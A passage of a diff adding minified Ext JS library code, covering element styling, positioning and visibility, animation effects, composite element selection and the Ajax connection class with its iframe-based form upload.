toggleClass:function (F) { + return this.hasClass(F) ? this.removeClass(F) : this.addClass(F) + }, hasClass:function (F) { + return F && (" " + this.dom.className + " ").indexOf(" " + F + " ") != -1 + }, replaceClass:function (G, F) { + return this.removeClass(G).addClass(F) + }, isStyle:function (F, G) { + return this.getStyle(F) == G + }, getStyle:function () { + return s && s.getComputedStyle ? function (K) { + var I = this.dom, F, H, G, J; + if (I == document) { + return null + } + K = v(K); + G = (F = I.style[K]) ? F : (H = s.getComputedStyle(I, "")) ? H[K] : null; + if (K == "marginRight" && G != "0px" && !A.correctRightMargin) { + J = I.style.display; + I.style.display = "inline-block"; + G = s.getComputedStyle(I, "").marginRight; + I.style.display = J + } + if (K == "backgroundColor" && G == "rgba(0, 0, 0, 0)" && !A.correctTransparentColor) { + G = "transparent" + } + return G + } : function (J) { + var H = this.dom, F, G; + if (H == document) { + return null + } + if (J == "opacity") { + if (H.style.filter.match) { + if (F = H.style.filter.match(D)) { + var I = parseFloat(F[1]); + if (!isNaN(I)) { + return I ? I / 100 : 0 + } + } + } + return 1 + } + J = v(J); + return H.style[J] || ((G = H.currentStyle) ? G[J] : null) + } + }(), getColor:function (F, G, K) { + var I = this.getStyle(F), H = (typeof K != "undefined") ? K : "#", J; + if (!I || (/transparent|inherit/.test(I))) { + return G + } + if (/^r/.test(I)) { + Ext.each(I.slice(4, I.length - 1).split(","), function (L) { + J = parseInt(L, 10); + H += (J < 16 ? "0" : "") + J.toString(16) + }) + } else { + I = I.replace("#", ""); + H += I.length == 3 ? I.replace(/^(\w)(\w)(\w)$/, "$1$1$2$2$3$3") : I + } + return(H.length > 5 ? H.toLowerCase() : G) + }, setStyle:function (I, H) { + var F, G; + if (typeof I != "object") { + F = {}; + F[I] = H; + I = F + } + for (G in I) { + H = I[G]; + G == "opacity" ? this.setOpacity(H) : this.dom.style[v(G)] = H + } + return this + }, setOpacity:function (G, F) { + var J = this, H = J.dom.style; + if (!F || !J.anim) { + if (Ext.isIE) { + var I = G < 1 ? "alpha(opacity=" + G * 100 + ")" : "", K = H.filter.replace(D, "").replace(l, ""); + H.zoom = 1; + H.filter = K + (K.length > 0 ? " " : "") + I + } else { + H.opacity = G + } + } else { + J.anim({opacity:{to:G}}, J.preanim(arguments, 1), null, 0.35, "easeIn") + } + return J + }, clearOpacity:function () { + var F = this.dom.style; + if (Ext.isIE) { + if (!Ext.isEmpty(F.filter)) { + F.filter = F.filter.replace(D, "").replace(l, "") + } + } else { + F.opacity = F["-moz-opacity"] = F["-khtml-opacity"] = "" + } + return this + }, getHeight:function (H) { + var G = this, J = G.dom, I = Ext.isIE && G.isStyle("display", "none"), F = r.max(J.offsetHeight, I ? 0 : J.clientHeight) || 0; + F = !H ? F : F - G.getBorderWidth("tb") - G.getPadding("tb"); + return F < 0 ? 0 : F + }, getWidth:function (G) { + var H = this, J = H.dom, I = Ext.isIE && H.isStyle("display", "none"), F = r.max(J.offsetWidth, I ? 0 : J.clientWidth) || 0; + F = !G ? F : F - H.getBorderWidth("lr") - H.getPadding("lr"); + return F < 0 ? 0 : F + }, setWidth:function (G, F) { + var H = this; + G = H.adjustWidth(G); + !F || !H.anim ? H.dom.style.width = H.addUnits(G) : H.anim({width:{to:G}}, H.preanim(arguments, 1)); + return H + }, setHeight:function (F, G) { + var H = this; + F = H.adjustHeight(F); + !G || !H.anim ? H.dom.style.height = H.addUnits(F) : H.anim({height:{to:F}}, H.preanim(arguments, 1)); + return H + }, getBorderWidth:function (F) { + return this.addStyles(F, i) + }, getPadding:function (F) { + return this.addStyles(F, g) + }, clip:function () { + var F = this, G = F.dom; + if (!E(G, e)) { + E(G, e, true); + E(G, C, {o:F.getStyle(k), x:F.getStyle(n), y:F.getStyle(m)}); + F.setStyle(k, z); + F.setStyle(n, z); + F.setStyle(m, z) + } + return F + }, unclip:function () { + var F = this, H = F.dom; + if (E(H, e)) { + E(H, e, false); + var G = E(H, C); + if (G.o) { + F.setStyle(k, G.o) + } + if (G.x) { + F.setStyle(n, G.x) + } + if (G.y) { + F.setStyle(m, G.y) + } + } + return F + }, addStyles:function (M, L) { + var J = 0, K = M.match(b), I, H, G, F = K.length; + for (G = 0; G < F; G++) { + I = K[G]; + H = I && parseInt(this.getStyle(L[I]), 10); + if (H) { + J += r.abs(H) + } + } + return J + }, margins:a} +}()); +(function () { + var a = Ext.lib.Dom, b = "left", g = "right", d = "top", i = "bottom", h = "position", c = "static", e = "relative", j = "auto", k = "z-index"; + Ext.Element.addMethods({getX:function () { + return a.getX(this.dom) + }, getY:function () { + return a.getY(this.dom) + }, getXY:function () { + return a.getXY(this.dom) + }, getOffsetsTo:function (l) { + var n = this.getXY(), m = Ext.fly(l, "_internal").getXY(); + return[n[0] - m[0], n[1] - m[1]] + }, setX:function (l, m) { + return this.setXY([l, this.getY()], this.animTest(arguments, m, 1)) + }, setY:function (m, l) { + return this.setXY([this.getX(), m], this.animTest(arguments, l, 1)) + }, setLeft:function (l) { + this.setStyle(b, this.addUnits(l)); + return this + }, setTop:function (l) { + this.setStyle(d, this.addUnits(l)); + return this + }, setRight:function (l) { + this.setStyle(g, this.addUnits(l)); + return this + }, setBottom:function (l) { + this.setStyle(i, this.addUnits(l)); + return this + }, setXY:function (n, l) { + var m = this; + if (!l || !m.anim) { + a.setXY(m.dom, n) + } else { + m.anim({points:{to:n}}, m.preanim(arguments, 1), "motion") + } + return m + }, setLocation:function (l, n, m) { + return this.setXY([l, n], this.animTest(arguments, m, 2)) + }, moveTo:function (l, n, m) { + return this.setXY([l, n], this.animTest(arguments, m, 2)) + }, getLeft:function (l) { + return !l ? this.getX() : parseInt(this.getStyle(b), 10) || 0 + }, getRight:function (l) { + var m = this; + return !l ? m.getX() + m.getWidth() : (m.getLeft(true) + m.getWidth()) || 0 + }, getTop:function (l) { + return !l ? this.getY() : parseInt(this.getStyle(d), 10) || 0 + }, getBottom:function (l) { + var m = this; + return !l ? m.getY() + m.getHeight() : (m.getTop(true) + m.getHeight()) || 0 + }, position:function (p, o, l, n) { + var m = this; + if (!p && m.isStyle(h, c)) { + m.setStyle(h, e) + } else { + if (p) { + m.setStyle(h, p) + } + } + if (o) { + m.setStyle(k, o) + } + if (l || n) { + m.setXY([l || false, n || false]) + } + }, clearPositioning:function (l) { + l = l || ""; + this.setStyle({left:l, right:l, top:l, bottom:l, "z-index":"", position:c}); + return this + }, getPositioning:function () { + var m = this.getStyle(b); + var n = this.getStyle(d); + return{position:this.getStyle(h), left:m, right:m ? "" : this.getStyle(g), top:n, bottom:n ? "" : this.getStyle(i), "z-index":this.getStyle(k)} + }, setPositioning:function (l) { + var n = this, m = n.dom.style; + n.setStyle(l); + if (l.right == j) { + m.right = "" + } + if (l.bottom == j) { + m.bottom = "" + } + return n + }, translatePoints:function (m, u) { + u = isNaN(m[1]) ? u : m[1]; + m = isNaN(m[0]) ? m : m[0]; + var q = this, r = q.isStyle(h, e), s = q.getXY(), n = parseInt(q.getStyle(b), 10), p = parseInt(q.getStyle(d), 10); + n = !isNaN(n) ? n : (r ? 0 : q.dom.offsetLeft); + p = !isNaN(p) ? p : (r ? 0 : q.dom.offsetTop); + return{left:(m - s[0] + n), top:(u - s[1] + p)} + }, animTest:function (m, l, n) { + return !!l && this.preanim ? this.preanim(m, n) : false + }}) +})(); +Ext.Element.addMethods({isScrollable:function () { + var a = this.dom; + return a.scrollHeight > a.clientHeight || a.scrollWidth > a.clientWidth +}, scrollTo:function (a, b) { + this.dom["scroll" + (/top/i.test(a) ? "Top" : "Left")] = b; + return this +}, getScroll:function () { + var i = this.dom, h = document, a = h.body, c = h.documentElement, b, g, e; + if (i == h || i == a) { + if (Ext.isIE && Ext.isStrict) { + b = c.scrollLeft; + g = c.scrollTop + } else { + b = window.pageXOffset; + g = window.pageYOffset + } + e = {left:b || (a ? a.scrollLeft : 0), top:g || (a ? a.scrollTop : 0)} + } else { + e = {left:i.scrollLeft, top:i.scrollTop} + } + return e +}}); +Ext.Element.VISIBILITY = 1; +Ext.Element.DISPLAY = 2; +Ext.Element.OFFSETS = 3; +Ext.Element.ASCLASS = 4; +Ext.Element.visibilityCls = "x-hide-nosize"; +Ext.Element.addMethods(function () { + var e = Ext.Element, p = "opacity", j = "visibility", g = "display", d = "hidden", n = "offsets", k = "asclass", m = "none", a = "nosize", b = "originalDisplay", c = "visibilityMode", h = "isVisible", i = e.data, l = function (r) { + var q = i(r, b); + if (q === undefined) { + i(r, b, q = "") + } + return q + }, o = function (r) { + var q = i(r, c); + if (q === undefined) { + i(r, c, q = 1) + } + return q + }; + return{originalDisplay:"", visibilityMode:1, setVisibilityMode:function (q) { + i(this.dom, c, q); + return this + }, animate:function (r, t, s, u, q) { + this.anim(r, {duration:t, callback:s, easing:u}, q); + return this + }, anim:function (t, u, r, w, s, q) { + r = r || "run"; + u = u || {}; + var v = this, x = Ext.lib.Anim[r](v.dom, t, (u.duration || w) || 0.35, (u.easing || s) || "easeOut", function () { + if (q) { + q.call(v) + } + if (u.callback) { + u.callback.call(u.scope || v, v, u) + } + }, v); + u.anim = x; + return x + }, preanim:function (q, r) { + return !q[r] ? false : (typeof q[r] == "object" ? q[r] : {duration:q[r + 1], callback:q[r + 2], easing:q[r + 3]}) + }, isVisible:function () { + var q = this, s = q.dom, r = i(s, h); + if (typeof r == "boolean") { + return r + } + r = !q.isStyle(j, d) && !q.isStyle(g, m) && !((o(s) == e.ASCLASS) && q.hasClass(q.visibilityCls || e.visibilityCls)); + i(s, h, r); + return r + }, setVisible:function (t, q) { + var w = this, r, y, x, v, u = w.dom, s = o(u); + if (typeof q == "string") { + switch (q) { + case g: + s = e.DISPLAY; + break; + case j: + s = e.VISIBILITY; + break; + case n: + s = e.OFFSETS; + break; + case a: + case k: + s = e.ASCLASS; + break + } + w.setVisibilityMode(s); + q = false + } + if (!q || !w.anim) { + if (s == e.ASCLASS) { + w[t ? "removeClass" : "addClass"](w.visibilityCls || e.visibilityCls) + } else { + if (s == e.DISPLAY) { + return w.setDisplayed(t) + } else { + if (s == e.OFFSETS) { + if (!t) { + w.hideModeStyles = {position:w.getStyle("position"), top:w.getStyle("top"), left:w.getStyle("left")}; + w.applyStyles({position:"absolute", top:"-10000px", left:"-10000px"}) + } else { + w.applyStyles(w.hideModeStyles || {position:"", top:"", left:""}); + delete w.hideModeStyles + } + } else { + w.fixDisplay(); + u.style.visibility = t ? "visible" : d + } + } + } + } else { + if (t) { + w.setOpacity(0.01); + w.setVisible(true) + } + w.anim({opacity:{to:(t ? 1 : 0)}}, w.preanim(arguments, 1), null, 0.35, "easeIn", function () { + t || w.setVisible(false).setOpacity(1) + }) + } + i(u, h, t); + return w + }, hasMetrics:function () { + var q = this.dom; + return this.isVisible() || (o(q) == e.VISIBILITY) + }, toggle:function (q) { + var r = this; + r.setVisible(!r.isVisible(), r.preanim(arguments, 0)); + return r + }, setDisplayed:function (q) { + if (typeof q == "boolean") { + q = q ? l(this.dom) : m + } + this.setStyle(g, q); + return this + }, fixDisplay:function () { + var q = this; + if (q.isStyle(g, m)) { + q.setStyle(j, d); + q.setStyle(g, l(this.dom)); + if (q.isStyle(g, m)) { + q.setStyle(g, "block") + } + } + }, hide:function (q) { + if (typeof q == "string") { + this.setVisible(false, q); + return this + } + this.setVisible(false, this.preanim(arguments, 0)); + return this + }, show:function (q) { + if (typeof q == "string") { + this.setVisible(true, q); + return this + } + this.setVisible(true, this.preanim(arguments, 0)); + return this + }} +}()); +(function () { + var y = null, A = undefined, k = true, t = false, j = "setX", h = "setY", a = "setXY", n = "left", l = "bottom", s = "top", m = "right", q = "height", g = "width", i = "points", w = "hidden", z = "absolute", u = "visible", e = "motion", o = "position", r = "easeOut", d = new Ext.Element.Flyweight(), v = {}, x = function (B) { + return B || {} + }, p = function (B) { + d.dom = B; + d.id = Ext.id(B); + return d + }, c = function (B) { + if (!v[B]) { + v[B] = [] + } + return v[B] + }, b = function (C, B) { + v[C] = B + }; + Ext.enableFx = k; + Ext.Fx = {switchStatements:function (C, D, B) { + return D.apply(this, B[C]) + }, slideIn:function (H, E) { + E = x(E); + var J = this, G = J.dom, M = G.style, O, B, L, D, C, M, I, N, K, F; + H = H || "t"; + J.queueFx(E, function () { + O = p(G).getXY(); + p(G).fixDisplay(); + B = p(G).getFxRestore(); + L = {x:O[0], y:O[1], 0:O[0], 1:O[1], width:G.offsetWidth, height:G.offsetHeight}; + L.right = L.x + L.width; + L.bottom = L.y + L.height; + p(G).setWidth(L.width).setHeight(L.height); + D = p(G).fxWrap(B.pos, E, w); + M.visibility = u; + M.position = z; + function P() { + p(G).fxUnwrap(D, B.pos, E); + M.width = B.width; + M.height = B.height; + p(G).afterFx(E) + } + + N = {to:[L.x, L.y]}; + K = {to:L.width}; + F = {to:L.height}; + function Q(U, R, V, S, X, Z, ac, ab, aa, W, T) { + var Y = {}; + p(U).setWidth(V).setHeight(S); + if (p(U)[X]) { + p(U)[X](Z) + } + R[ac] = R[ab] = "0"; + if (aa) { + Y.width = aa + } + if (W) { + Y.height = W + } + if (T) { + Y.points = T + } + return Y + } + + I = p(G).switchStatements(H.toLowerCase(), Q, {t:[D, M, L.width, 0, y, y, n, l, y, F, y], l:[D, M, 0, L.height, y, y, m, s, K, y, y], r:[D, M, L.width, L.height, j, L.right, n, s, y, y, N], b:[D, M, L.width, L.height, h, L.bottom, n, s, y, F, N], tl:[D, M, 0, 0, y, y, m, l, K, F, N], bl:[D, M, 0, 0, h, L.y + L.height, m, s, K, F, N], br:[D, M, 0, 0, a, [L.right, L.bottom], n, s, K, F, N], tr:[D, M, 0, 0, j, L.x + L.width, n, l, K, F, N]}); + M.visibility = u; + p(D).show(); + arguments.callee.anim = p(D).fxanim(I, E, e, 0.5, r, P) + }); + return J + }, slideOut:function (F, D) { + D = x(D); + var H = this, E = H.dom, K = E.style, L = H.getXY(), C, B, I, J, G = {to:0}; + F = F || "t"; + H.queueFx(D, function () { + B = p(E).getFxRestore(); + I = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:E.offsetWidth, height:E.offsetHeight}; + I.right = I.x + I.width; + I.bottom = I.y + I.height; + p(E).setWidth(I.width).setHeight(I.height); + C = p(E).fxWrap(B.pos, D, u); + K.visibility = u; + K.position = z; + p(C).setWidth(I.width).setHeight(I.height); + function M() { + D.useDisplay ? p(E).setDisplayed(t) : p(E).hide(); + p(E).fxUnwrap(C, B.pos, D); + K.width = B.width; + K.height = B.height; + p(E).afterFx(D) + } + + function N(O, W, U, X, S, V, R, T, Q) { + var P = {}; + O[W] = O[U] = "0"; + P[X] = S; + if (V) { + P[V] = R + } + if (T) { + P[T] = Q + } + return P + } + + J = p(E).switchStatements(F.toLowerCase(), N, {t:[K, n, l, q, G], l:[K, m, s, g, G], r:[K, n, s, g, G, i, {to:[I.right, I.y]}], b:[K, n, s, q, G, i, {to:[I.x, I.bottom]}], tl:[K, m, l, g, G, q, G], bl:[K, m, s, g, G, q, G, i, {to:[I.x, I.bottom]}], br:[K, n, s, g, G, q, G, i, {to:[I.x + I.width, I.bottom]}], tr:[K, n, l, g, G, q, G, i, {to:[I.right, I.y]}]}); + arguments.callee.anim = p(C).fxanim(J, D, e, 0.5, r, M) + }); + return H + }, puff:function (H) { + H = x(H); + var F = this, G = F.dom, C = G.style, D, B, E; + F.queueFx(H, function () { + D = p(G).getWidth(); + B = p(G).getHeight(); + p(G).clearOpacity(); + p(G).show(); + E = p(G).getFxRestore(); + function I() { + H.useDisplay ? p(G).setDisplayed(t) : p(G).hide(); + p(G).clearOpacity(); + p(G).setPositioning(E.pos); + C.width = E.width; + C.height = E.height; + C.fontSize = ""; + p(G).afterFx(H) + } + + arguments.callee.anim = p(G).fxanim({width:{to:p(G).adjustWidth(D * 2)}, height:{to:p(G).adjustHeight(B * 2)}, points:{by:[-D * 0.5, -B * 0.5]}, opacity:{to:0}, fontSize:{to:200, unit:"%"}}, H, e, 0.5, r, I) + }); + return F + }, switchOff:function (F) { + F = x(F); + var D = this, E = D.dom, B = E.style, C; + D.queueFx(F, function () { + p(E).clearOpacity(); + p(E).clip(); + C = p(E).getFxRestore(); + function G() { + F.useDisplay ? p(E).setDisplayed(t) : p(E).hide(); + p(E).clearOpacity(); + p(E).setPositioning(C.pos); + B.width = C.width; + B.height = C.height; + p(E).afterFx(F) + } + + p(E).fxanim({opacity:{to:0.3}}, y, y, 0.1, y, function () { + p(E).clearOpacity(); + (function () { + p(E).fxanim({height:{to:1}, points:{by:[0, p(E).getHeight() * 0.5]}}, F, e, 0.3, "easeIn", G) + }).defer(100) + }) + }); + return D + }, highlight:function (D, H) { + H = x(H); + var F = this, G = F.dom, B = H.attr || "backgroundColor", C = {}, E; + F.queueFx(H, function () { + p(G).clearOpacity(); + p(G).show(); + function I() { + G.style[B] = E; + p(G).afterFx(H) + } + + E = G.style[B]; + C[B] = {from:D || "ffff9c", to:H.endColor || p(G).getColor(B) || "ffffff"}; + arguments.callee.anim = p(G).fxanim(C, H, "color", 1, "easeIn", I) + }); + return F + }, frame:function (B, E, H) { + H = x(H); + var D = this, G = D.dom, C, F; + D.queueFx(H, function () { + B = B || "#C3DAF9"; + if (B.length == 6) { + B = "#" + B + } + E = E || 1; + p(G).show(); + var L = p(G).getXY(), J = {x:L[0], y:L[1], 0:L[0], 1:L[1], width:G.offsetWidth, height:G.offsetHeight}, I = function () { + C = p(document.body || document.documentElement).createChild({style:{position:z, "z-index":35000, border:"0px solid " + B}}); + return C.queueFx({}, K) + }; + arguments.callee.anim = {isAnimated:true, stop:function () { + E = 0; + C.stopFx() + }}; + function K() { + var M = Ext.isBorderBox ? 2 : 1; + F = C.anim({top:{from:J.y, to:J.y - 20}, left:{from:J.x, to:J.x - 20}, borderWidth:{from:0, to:10}, opacity:{from:1, to:0}, height:{from:J.height, to:J.height + 20 * M}, width:{from:J.width, to:J.width + 20 * M}}, {duration:H.duration || 1, callback:function () { + C.remove(); + --E > 0 ? I() : p(G).afterFx(H) + }}); + arguments.callee.anim = {isAnimated:true, stop:function () { + F.stop() + }} + } + + I() + }); + return D + }, pause:function (D) { + var C = this.dom, B; + this.queueFx({}, function () { + B = setTimeout(function () { + p(C).afterFx({}) + }, D * 1000); + arguments.callee.anim = {isAnimated:true, stop:function () { + clearTimeout(B); + p(C).afterFx({}) + }} + }); + return this + }, fadeIn:function (D) { + D = x(D); + var B = this, C = B.dom, E = D.endOpacity || 1; + B.queueFx(D, function () { + p(C).setOpacity(0); + p(C).fixDisplay(); + C.style.visibility = u; + arguments.callee.anim = p(C).fxanim({opacity:{to:E}}, D, y, 0.5, r, function () { + if (E == 1) { + p(C).clearOpacity() + } + p(C).afterFx(D) + }) + }); + return B + }, fadeOut:function (E) { + E = x(E); + var C = this, D = C.dom, B = D.style, F = E.endOpacity || 0; + C.queueFx(E, function () { + arguments.callee.anim = p(D).fxanim({opacity:{to:F}}, E, y, 0.5, r, function () { + if (F == 0) { + Ext.Element.data(D, "visibilityMode") == Ext.Element.DISPLAY || E.useDisplay ? B.display = "none" : B.visibility = w; + p(D).clearOpacity() + } + p(D).afterFx(E) + }) + }); + return C + }, scale:function (B, C, D) { + this.shift(Ext.apply({}, D, {width:B, height:C})); + return this + }, shift:function (D) { + D = x(D); + var C = this.dom, B = {}; + this.queueFx(D, function () { + for (var E in D) { + if (D[E] != A) { + B[E] = {to:D[E]} + } + } + B.width ? B.width.to = p(C).adjustWidth(D.width) : B; + B.height ? B.height.to = p(C).adjustWidth(D.height) : B; + if (B.x || B.y || B.xy) { + B.points = B.xy || {to:[B.x ? B.x.to : p(C).getX(), B.y ? B.y.to : p(C).getY()]} + } + arguments.callee.anim = p(C).fxanim(B, D, e, 0.35, r, function () { + p(C).afterFx(D) + }) + }); + return this + }, ghost:function (E, C) { + C = x(C); + var G = this, D = G.dom, J = D.style, H = {opacity:{to:0}, points:{}}, K = H.points, B, I, F; + E = E || "b"; + G.queueFx(C, function () { + B = p(D).getFxRestore(); + I = p(D).getWidth(); + F = p(D).getHeight(); + function L() { + C.useDisplay ? p(D).setDisplayed(t) : p(D).hide(); + p(D).clearOpacity(); + p(D).setPositioning(B.pos); + J.width = B.width; + J.height = B.height; + p(D).afterFx(C) + } + + K.by = p(D).switchStatements(E.toLowerCase(), function (N, M) { + return[N, M] + }, {t:[0, -F], l:[-I, 0], r:[I, 0], b:[0, F], tl:[-I, -F], bl:[-I, F], br:[I, F], tr:[I, -F]}); + arguments.callee.anim = p(D).fxanim(H, C, e, 0.5, r, L) + }); + return G + }, syncFx:function () { + var B = this; + B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:k, stopFx:t}); + return B + }, sequenceFx:function () { + var B = this; + B.fxDefaults = Ext.apply(B.fxDefaults || {}, {block:t, concurrent:t, stopFx:t}); + return B + }, nextFx:function () { + var B = c(this.dom.id)[0]; + if (B) { + B.call(this) + } + }, hasActiveFx:function () { + return c(this.dom.id)[0] + }, stopFx:function (B) { + var C = this, E = C.dom.id; + if (C.hasActiveFx()) { + var D = c(E)[0]; + if (D && D.anim) { + if (D.anim.isAnimated) { + b(E, [D]); + D.anim.stop(B !== undefined ? B : k) + } else { + b(E, []) + } + } + } + return C + }, beforeFx:function (B) { + if (this.hasActiveFx() && !B.concurrent) { + if (B.stopFx) { + this.stopFx(); + return k + } + return t + } + return k + }, hasFxBlock:function () { + var B = c(this.dom.id); + return B && B[0] && B[0].block + }, queueFx:function (E, B) { + var C = p(this.dom); + if (!C.hasFxBlock()) { + Ext.applyIf(E, C.fxDefaults); + if (!E.concurrent) { + var D = C.beforeFx(E); + B.block = E.block; + c(C.dom.id).push(B); + if (D) { + C.nextFx() + } + } else { + B.call(C) + } + } + return C + }, fxWrap:function (H, F, D) { + var E = this.dom, C, B; + if (!F.wrap || !(C = Ext.getDom(F.wrap))) { + if (F.fixPosition) { + B = p(E).getXY() + } + var G = document.createElement("div"); + G.style.visibility = D; + C = E.parentNode.insertBefore(G, E); + p(C).setPositioning(H); + if (p(C).isStyle(o, "static")) { + p(C).position("relative") + } + p(E).clearPositioning("auto"); + p(C).clip(); + C.appendChild(E); + if (B) { + p(C).setXY(B) + } + } + return C + }, fxUnwrap:function (C, F, E) { + var D = this.dom; + p(D).clearPositioning(); + p(D).setPositioning(F); + if (!E.wrap) { + var B = p(C).dom.parentNode; + B.insertBefore(D, C); + p(C).remove() + } + }, getFxRestore:function () { + var B = this.dom.style; + return{pos:this.getPositioning(), width:B.width, height:B.height} + }, afterFx:function (C) { + var B = this.dom, D = B.id; + if (C.afterStyle) { + p(B).setStyle(C.afterStyle) + } + if (C.afterCls) { + p(B).addClass(C.afterCls) + } + if (C.remove == k) { + p(B).remove() + } + if (C.callback) { + C.callback.call(C.scope, p(B)) + } + if (!C.concurrent) { + c(D).shift(); + p(B).nextFx() + } + }, fxanim:function (E, F, C, G, D, B) { + C = C || "run"; + F = F || {}; + var H = Ext.lib.Anim[C](this.dom, E, (F.duration || G) || 0.35, (F.easing || D) || r, B, this); + F.anim = H; + return H + }}; + Ext.Fx.resize = Ext.Fx.scale; + Ext.Element.addMethods(Ext.Fx) +})(); +Ext.CompositeElementLite = function (b, a) { + this.elements = []; + this.add(b, a); + this.el = new Ext.Element.Flyweight() +}; +Ext.CompositeElementLite.prototype = {isComposite:true, getElement:function (a) { + var b = this.el; + b.dom = a; + b.id = a.id; + return b +}, transformElement:function (a) { + return Ext.getDom(a) +}, getCount:function () { + return this.elements.length +}, add:function (d, b) { + var e = this, g = e.elements; + if (!d) { + return this + } + if (typeof d == "string") { + d = Ext.Element.selectorFunction(d, b) + } else { + if (d.isComposite) { + d = d.elements + } else { + if (!Ext.isIterable(d)) { + d = [d] + } + } + } + for (var c = 0, a = d.length; c < a; ++c) { + g.push(e.transformElement(d[c])) + } + return e +}, invoke:function (g, b) { + var h = this, d = h.elements, a = d.length, j, c; + for (c = 0; c < a; c++) { + j = d[c]; + if (j) { + Ext.Element.prototype[g].apply(h.getElement(j), b) + } + } + return h +}, item:function (b) { + var d = this, c = d.elements[b], a = null; + if (c) { + a = d.getElement(c) + } + return a +}, addListener:function (b, j, h, g) { + var d = this.elements, a = d.length, c, k; + for (c = 0; c < a; c++) { + k = d[c]; + if (k) { + Ext.EventManager.on(k, b, j, h || k, g) + } + } + return this +}, each:function (g, d) { + var h = this, c = h.elements, a = c.length, b, j; + for (b = 0; b < a; b++) { + j = c[b]; + if (j) { + j = this.getElement(j); + if (g.call(d || j, j, h, b) === false) { + break + } + } + } + return h +}, fill:function (a) { + var b = this; + b.elements = []; + b.add(a); + return b +}, filter:function (a) { + var b = [], d = this, c = Ext.isFunction(a) ? a : function (e) { + return e.is(a) + }; + d.each(function (h, e, g) { + if (c(h, g) !== false) { + b[b.length] = d.transformElement(h) + } + }); + d.elements = b; + return d +}, indexOf:function (a) { + return this.elements.indexOf(this.transformElement(a)) +}, replaceElement:function (e, c, a) { + var b = !isNaN(e) ? e : this.indexOf(e), g; + if (b > -1) { + c = Ext.getDom(c); + if (a) { + g = this.elements[b]; + g.parentNode.insertBefore(c, g); + Ext.removeNode(g) + } + this.elements.splice(b, 1, c) + } + return this +}, clear:function () { + this.elements = [] +}}; +Ext.CompositeElementLite.prototype.on = Ext.CompositeElementLite.prototype.addListener; +Ext.CompositeElementLite.importElementMethods = function () { + var c, b = Ext.Element.prototype, a = Ext.CompositeElementLite.prototype; + for (c in b) { + if (typeof b[c] == "function") { + (function (d) { + a[d] = a[d] || function () { + return this.invoke(d, arguments) + } + }).call(a, c) + } + } +}; +Ext.CompositeElementLite.importElementMethods(); +if (Ext.DomQuery) { + Ext.Element.selectorFunction = Ext.DomQuery.select +} +Ext.Element.select = function (a, b) { + var c; + if (typeof a == "string") { + c = Ext.Element.selectorFunction(a, b) + } else { + if (a.length !== undefined) { + c = a + } else { + throw"Invalid selector" + } + } + return new Ext.CompositeElementLite(c) +}; +Ext.select = Ext.Element.select; +(function () { + var b = "beforerequest", e = "requestcomplete", d = "requestexception", h = undefined, c = "load", i = "POST", a = "GET", g = window; + Ext.data.Connection = function (j) { + Ext.apply(this, j); + this.addEvents(b, e, d); + Ext.data.Connection.superclass.constructor.call(this) + }; + Ext.extend(Ext.data.Connection, Ext.util.Observable, {timeout:30000, autoAbort:false, disableCaching:true, disableCachingParam:"_dc", request:function (n) { + var s = this; + if (s.fireEvent(b, s, n)) { + if (n.el) { + if (!Ext.isEmpty(n.indicatorText)) { + s.indicatorText = '
' + n.indicatorText + "
" + } + if (s.indicatorText) { + Ext.getDom(n.el).innerHTML = s.indicatorText + } + n.success = (Ext.isFunction(n.success) ? n.success : function () { + }).createInterceptor(function (o) { + Ext.getDom(n.el).innerHTML = o.responseText + }) + } + var l = n.params, k = n.url || s.url, j, q = {success:s.handleResponse, failure:s.handleFailure, scope:s, argument:{options:n}, timeout:Ext.num(n.timeout, s.timeout)}, m, t; + if (Ext.isFunction(l)) { + l = l.call(n.scope || g, n) + } + l = Ext.urlEncode(s.extraParams, Ext.isObject(l) ? Ext.urlEncode(l) : l); + if (Ext.isFunction(k)) { + k = k.call(n.scope || g, n) + } + if ((m = Ext.getDom(n.form))) { + k = k || m.action; + if (n.isUpload || (/multipart\/form-data/i.test(m.getAttribute("enctype")))) { + return s.doFormUpload.call(s, n, l, k) + } + t = Ext.lib.Ajax.serializeForm(m); + l = l ? (l + "&" + t) : t + } + j = n.method || s.method || ((l || n.xmlData || n.jsonData) ? i : a); + if (j === a && (s.disableCaching && n.disableCaching !== false) || n.disableCaching === true) { + var r = n.disableCachingParam || s.disableCachingParam; + k = Ext.urlAppend(k, r + "=" + (new Date().getTime())) + } + n.headers = Ext.applyIf(n.headers || {}, s.defaultHeaders || {}); + if (n.autoAbort === true || s.autoAbort) { + s.abort() + } + if ((j == a || n.xmlData || n.jsonData) && l) { + k = Ext.urlAppend(k, l); + l = "" + } + return(s.transId = Ext.lib.Ajax.request(j, k, q, l, n)) + } else { + return n.callback ? n.callback.apply(n.scope, [n, h, h]) : null + } + }, isLoading:function (j) { + return j ? Ext.lib.Ajax.isCallInProgress(j) : !!this.transId + }, abort:function (j) { + if (j || this.isLoading()) { + Ext.lib.Ajax.abort(j || this.transId) + } + }, handleResponse:function (j) { + this.transId = false; + var k = j.argument.options; + j.argument = k ? k.argument : null; + this.fireEvent(e, this, j, k); + if (k.success) { + k.success.call(k.scope, j, k) + } + if (k.callback) { + k.callback.call(k.scope, k, true, j) + } + }, handleFailure:function (j, l) { + this.transId = false; + var k = j.argument.options; + j.argument = k ? k.argument : null; + this.fireEvent(d, this, j, k, l); + if (k.failure) { + k.failure.call(k.scope, j, k) + } + if (k.callback) { + k.callback.call(k.scope, k, false, j) + } + }, doFormUpload:function (q, j, k) { + var l = Ext.id(), v = document, r = v.createElement("iframe"), m = Ext.getDom(q.form), u = [], t, p = "multipart/form-data", n = {target:m.target, method:m.method, encoding:m.encoding, enctype:m.enctype, action:m.action}; + Ext.fly(r).set({id:l, name:l, cls:"x-hidden", src:Ext.SSL_SECURE_URL}); + v.body.appendChild(r); + if (Ext.isIE) { + document.frames[l].name = l + } + Ext.fly(m).set({target:l, method:i, enctype:p, encoding:p, action:k || n.action}); + Ext.iterate(Ext.urlDecode(j, false), function (w, o) { + t = v.createElement("input"); + Ext.fly(t).set({type:"hidden", value:o, name:w}); + m.appendChild(t); + u.push(t) + }); + function s() { + var x = this, w = {responseText:"", responseXML:null, argument:q.argument}, A, z; + try { + A = r.contentWindow.document || r.contentDocument || g.frames[l].document; + if (A) { + if (A.body) { + if (/textarea/i.test((z = A.body.firstChild || {}).tagName)) { + w.responseText = z.value + } else { + w.responseText = A.body.innerHTML + } + } + w.responseXML = A.XMLDocument || A + } + } catch (y) { + } + Ext.EventManager.removeListener(r, c, s, x); + 